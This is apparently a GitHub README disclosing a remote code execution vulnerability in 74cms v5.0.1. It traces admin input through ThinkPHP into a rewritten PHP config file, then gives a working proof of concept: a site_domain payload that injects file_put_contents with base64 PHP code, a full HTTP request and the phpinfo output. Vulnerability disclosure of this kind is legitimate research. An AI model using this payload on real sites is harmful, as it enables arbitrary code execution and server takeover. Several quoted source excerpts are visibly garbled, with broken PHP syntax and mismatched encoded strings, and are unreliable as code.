

main

...

[74cms-rce](#) / README.md BigTiger2020 Update README.md History 1 contributor

44 lines (34 sloc) | 2.65 KB

...

74cms Remote Code Execution Vulnerability

- Vulnerability Type :
Remote Code Execution
- Vulnerability Version :
74CMS = v5.0.1
- Recurring environment:
Windows 10
PHP 5.6.9
Apache 2.4.23
- Vulnerability analysis

1. c=config&a=edit -> Controller=config&action=edit -> /Application/Admin/Controller/ConfigController.class.php Line 9:
l('request.site_domain','trim') -> trim(\$site_domain, '/') -> implode('.', \$domain) -> array('domain'=>\$domain) -> \$this->update_config(\$config,CONF_PATH.'url.php')

```
public function edit(){
    if(IS_POST){
        $site_domain = I('request.site_domain','','trim');
        $site_domain = trim($site_domain, '/');
        $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
        $site_dir = $site_dir=='?/'.$site_dir;
        $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir, '/').'/');
        $_POST['site_dir'] = $site_dir;
        if($site_domain && $site_domain != C('qscms_site_domain')){
            if($site_domain == C('qscms_wap_domain')){
                $this->returnMsg(0, '主域名不能与触屏版域名重复! ');
            }
            $str = str_replace('http://', '', $site_domain);
            $str = str_replace('https://', '', $str);
            if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/i', $str) == 1){
                $domain = array_slice(explode('.', $str), -3, 3);
            }else{
                $domain = array_slice(explode('.', $str), -2, 2);
            }
            $domain = '.'.implode('.', $domain);
            $config['SESSION_OPTIONS'] = array('domain'=>$domain);
            $config['COOKIE_DOMAIN'] = $domain;
            $this->update_config($config,CONF_PATH.'url.php');
        }
    }
}
```

2. l('request.site_domain','',trim') in /ThinkPHP/Common/functions.php Line 271: request.site_domain -> \$_REQUEST['site_domain'] -> \$_REQUEST['site_domain'] is string -> trim(\$_REQUEST['site_domain'])

```

270 */
271 function I($name,$default='', $filter=null,$datas=null) {
272     static $_PUT = null;
273     if(strpos($name,'/')){ // 指定修饰符
274         list($name,$type) = explode('/', $name, 2);
275     }elseif(!c('VAR_AUTO_STRING')){ // 默认强制转换为字符串
276         $type = 's';
277     }
278     if(strpos($name,'.')) { // 指定参数来源
279         list($method,$name) = explode('.', $name, 2);
280     }elseif( // 默认为自动判断
281         $method = 'param'
282     )
283     switch(strtolower($method)) {
284         case 'get' :
285             $input =& $_GET;
286             break;
287         case 'post' :
288             $input =& $_POST;
289             break;
290         case 'put' :
291             if(is_null($_PUT)){
292                 parse_str(file_get_contents('php://input'), $_PUT);
293             }
294             $input = $_PUT;
295             break;
296         case 'param' :
297             switch($_SERVER['REQUEST_METHOD']) {
298                 case 'POST':
299                     $input = $_POST;
300                     break;
301                 case 'PUT':
302                     if(is_null($_PUT)){
303                         parse_str(file_get_contents('php://input'), $_PUT);
304                     }
305                     $input = $_PUT;
306                     break;
307                 default:
308                     $input = $_GET;
309             }
310             break;
311         case 'path' :
312             $input = array();
313             if(!empty($_SERVER['PATH_INFO'])){
314                 $depr = c('URL_PATHINFO_DEPR');
315                 $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));
316             }
317             break;
318         case 'request' :
319             $input =& $_REQUEST;
320             break;
321         case 'session' :
322             $input =& $_SESSION;
323             break;
324         case 'cookie' :
325             $input =& $_COOKIE;
326             break;
327         case 'server' :
328             $input =& $_SERVER;
329             break;
330         case 'globals' :
331             $input =& $GLOBALS;
332             break;
333         case 'data' :
334             $input =& $data;
335             break;
336         default:
337             return null;
338     }
339     if(''===$name) { // 获取全部变量
340         $data = $input;
341         $filters = isset($filter) ? $filter : c('DEFAULT_FILTER') : c('DEFAULT_FILTER');
342         // $filters = isset($filter)?filter($filter):c('DEFAULT_FILTER');
343         if($filters) {
344             if(is_string($filters)){
345                 $filters = explode(',', $filters);
346             }
347             foreach($filters as $filter){
348                 $data = array_map_recursive($filter, $data); // 参数过滤
349             }
350         }
351     }elseif(isset($input[$name])) { // 取值操作
352         $data = $input[$name];
353         $filters = isset($filter) ? $filter : c('DEFAULT_FILTER') : c('DEFAULT_FILTER');
354         // $filters = isset($filter)?filter($filter):c('DEFAULT_FILTER');
355         if($filters) {
356             if(is_string($filters)){
357                 if(0 == strpos($filters, '/')){
358                     if(1 != preg_match($filters, (string)$data)){
359                         // 支持正则验证
360                         return isset($default) ? $default : null;
361                     }
362                 }elseif(
363                     $filters = explode(',', $filters);
364                 )
365                 elseif(is_int($filters)){
366                     $filters = array($filters);
367                 }
368             }
369             if(is_array($filters)){
370                 foreach($filters as $filter){
371                     if(function_exists($filter)) {
372                         $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
373                     }elseif(
374                         $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
375                         if(false == $data) {
376                             return isset($default) ? $default : null;
377                         }
378                     }
379                 }
380             }
381         }
382     }elseif(empty($type)){
383         switch(strtolower($type)){
384             case 'a': // 数组
385                 $data = (array)$data;
386                 break;
387             case 'd': // 数字
388                 $data = (int)$data;
389                 break;
390             case 'f': // 浮点
391                 $data = (float)$data;
392                 break;
393             case 'b': // 布尔
394                 $data = (boolean)$data;
395                 break;
396             case 's': // 字符串
397                 $data = (string)$data;
398                 break;
399             default:
400                 $data = (string)$data;
401             }
402     }elseif( // 变量默认值
403         $data = isset($default)?$default:null;
404     )
405     is_array($data) && array_walk_recursive($data, 'think_filter');
406     return $data;
407 }
408
409 function array_map_recursive($filter, $data) {
410     $result = array();
411     foreach ($data as $key => $val) {
412         $result[$key] = is_array($val)
413             ? array_map_recursive($filter, $val)
414             : call_user_func($filter, $val);
415     }
416     return $result;
417 }
418
419 /**
420  * 设置和获取统计数据
421  * 使用方法:
422  * c('code', 1); // 记录数据操作次数
423  * c('read', 1); // 记录读取次数
424  * 在类中调用时，使用以下方法:
425  */

```

```

3. ...
426 * echo $this->read(); // 获取当前页面源代码
427 * </code>
428 * @param string $key 配置位置 => update_config($config,CONF_PATH.'url.php')
...
    $domain = '.'.implode('.', $domain);
    $config['SESSION_OPTIONS'] = array('domain'=>$domain);
    $config['COOKIE_DOMAIN'] = $domain;
    $this->update_config($config,CONF_PATH.'url.php');

```

4. update_config(\$config,CONF_PATH.'url.php') in /Application/Common/Controller/BackendController.class.php Line 467:
 multimerge(\$config, \$new_config) -> file_put_contents(\$config_file, "<?php \nreturn " . stripslashes(var_export(\$config, true)) . ";;",
 LOCK_EX)

```

public function update_config($new_config, $config_file = '') {
    if (is_writable($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php') {
        if (is_writable($config_file)) {
            $config = require $config_file;
            $config = multimerge($config, $new_config);
            if ($config['SESSION_OPTIONS']) {
                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;
            }
            file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";;", LOCK_EX);
            @unlink(RUNTIME_FILE);
            return true;
        } else {
            return false;
        }
    }
}

```

5. multimerge(\$config, \$new_config) in /Application/Common/Common/function.php Line 938: no restricted

```

function multimerge($a, $b) {
    if (is_array($b) && count($b)) {
        foreach ($b as $k => $v) {
            if (is_array($v) && count($v)) {
                $a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v;
            } else {
                $a[$k] = $v;
            }
        }
    } else {
        $a = $b;
    }
    return $a;
}

```

6. CONF_PATH in /ThinkPHP/ThinkPHP.php Line 54: CONF_PATH.'url.php' -> /Application/Common/Conf/url.php

```

defined('COMMON_PATH') or define('COMMON_PATH', APP_PATH.'Common/'); // 应用公共目录
defined('CONF_PATH') or define('CONF_PATH', COMMON_PATH.'Conf/'); // 应用配置目录
defined('LANG_PATH') or define('LANG_PATH', COMMON_PATH.'Lang/'); // 应用语言目录
defined('HTML_PATH') or define('HTML_PATH', APP_PATH.'Html/'); // 应用静态目录
defined('LOG_PATH') or define('LOG_PATH', RUNTIME_PATH.'Logs/'); // 应用日志目录
defined('TEMP_PATH') or define('TEMP_PATH', RUNTIME_PATH.'Temp/'); // 应用缓存目录
defined('DATA_PATH') or define('DATA_PATH', RUNTIME_PATH.'Data/'); // 应用数据目录
defined('CACHE_PATH') or define('CACHE_PATH', RUNTIME_PATH.'Cache/'); // 应用模板缓存目录
defined('CONF_EXT') or define('CONF_EXT', '.php'); // 配置文件后缀
defined('CONF_PARSE') or define('CONF_PARSE', ''); // 配置文件解析方法
defined('ADDON_PATH') or define('ADDON_PATH', APP_PATH.'Addon/');

```

7. var_export(): Quote string with slashes&Convert special characters to HTML entities -> stripslashes(): un-quotes a quoted string -> Convert special characters to HTML entities -> write file

```
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";;", LOCK_EX);
```

8. /Application/Home/Conf/url.php: The code after "return array(...);" does not work, so payload is site_domain=', (your php code),'

```

<?php
return array (
    'URL_MODEL' => 0,
    'URL_HTML_SUFFIX' => '.html',
    'URL_PATHINFO_DEPR' => '/',
    'URL_ROUTER_ON' => true,
    'URL_ROUTE_RULES' =>
        array (
            '/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',
            '/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',
        ),
    'QSCMS_VERSION' => '5.0.1',
    'QSCMS_RELEASE' => '2019-03-19 00:00:00',
    'SESSION_OPTIONS' =>
        array (
            'domain' => '.', file_put_contents('403.php',base64_decode('PD9waHAgaGcGhwak5mbG9pOz8+')),
            'path' => 'E:\phpstudy_pro\WWW\74cms_Home_Setup_v5.0.1\upload\data\session',
        ),
    'COOKIE_DOMAIN' => '.', file_put_contents('403.php',base64_decode('PD9waHAgaGcGhwak5mbG9pOz8+')),
);

```

- POC
<?php phpinfo();?> -> PD9waHAgcGhwaW5mbygpOz8+
site_domain=', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'

- Steps to reproduce

POST /index.php?m=admin&c=config&a=edit HTTP/1.1
Host: www.qs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*, q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 457
Origin: http://www.qs.com
Connection: close
Referer: http://www.qs.com/index.php?m=admin&c=config&a=index&menu_id=1&sub_menu_id=6
Cookie: PHPSESSID=mpuupmtpgj4e9cdmq7955; think_language=zh-CN; think_template=default

site_name=%E0%AA%91%E5%A3%AD%E4%BA%BA%E5%89%8D%E7%B3%BB%E7%BB%9F
&site_domain=%2C%file_put_contents(403.php,base64_decode(PD9waHAgcGhwaW5mbygpOz8+
8%2B))%2C%&site_dir=%2F&op_top=000-00000000&bottom_top=000-00000000&contact_email=&ad
dress=00%E7%9C%8100%E5%B8%8200%E8%B7%AF00%E5%8F%B700%E5%A4%A7%E5%8E
%A600%E6%A5%BC&bottom_other=Copyright+%C2%A9+2019+74cms.com+All+Right+Reserved+
&icp=icp000000000&isclose=0&close_reason=&statistics=&logo_home=&logo_other=

HTTP/1.1 200 OK
Date: Thu, 03 Dec 2020 12:10:54 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.6.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 67
{"status":1,"msg":"u64cd4u45clu6210u529f","data":"","dialog":""}

PHP Version 5.6.9	
System	Windows NT DESKTOP-BK8BF24 6.2 build 9200 (Windows 8 Enterprise Edition) AMD64
Build Date	May 13 2015 19:23:54
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x64
Configure Command	cmd /c "noloco configure.js --enable-snapshot-build --enable-debug-pack --disable-zts --disable-lua --disable-mysql --without-mysql --without-pdo-mysql --without-pdo-oci --with-pdo-oci=ci/php-sqlite3/development/12 --with-ldap --with-ldap=shared --enable-object-out-dir=_obj --enable-com-dotnet=shared --with-mcrypt=static --without-analyzer --with-pgsql"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	E:\phpstudy_pro\Extensions\php\php5.6.9nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API20131226/NTS,VC11
PHP Extension Build	API20131226/NTS,VC11
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled